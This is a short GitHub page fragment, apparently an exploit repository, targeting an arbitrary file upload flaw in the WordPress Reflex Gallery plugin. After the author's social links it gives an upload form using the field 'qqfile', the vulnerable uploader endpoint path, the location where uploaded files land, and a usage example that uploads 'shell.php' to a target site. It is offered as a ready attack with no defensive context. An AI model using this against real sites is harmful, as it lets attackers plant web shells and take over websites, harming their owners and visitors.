googleinurl / wordpress-plugin-reflex-gallery-arbitrary-file-upload Goto Github PK

  # AUTOR:        googleINURL
  # Blog:         http://blog.inurl.com.br
  # Twitter:      https://twitter.com/googleinurl
  # Fanpage:      https://fb.com/InurlBrasil
  # Pastebin      http://pastebin.com/u/Googleinurl
  # GIT:          https://github.com/googleinurl
  # PSS:          http://packetstormsecurity.com/user/googleinurl
  # YOUTUBE:      http://youtube.com/c/INURLBrasil
  # PLUS:         http://google.com/+INURLBrasil

<form method = "POST" action = "" enctype = "multipart/form-data" >
<input type = "file" name = "qqfile"><br>
<input type = "submit" name = "Submit" value = "inurl">
</form >

array('qqfile' => "@_YOU_FILE")

http://{target}/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2015&Month=03

http://{target}/wp-content/uploads/2015/03/_YOU_FILE

Demo: php xpl.php {target} {file}
Ex:   php xpl.php http://target.com shell.php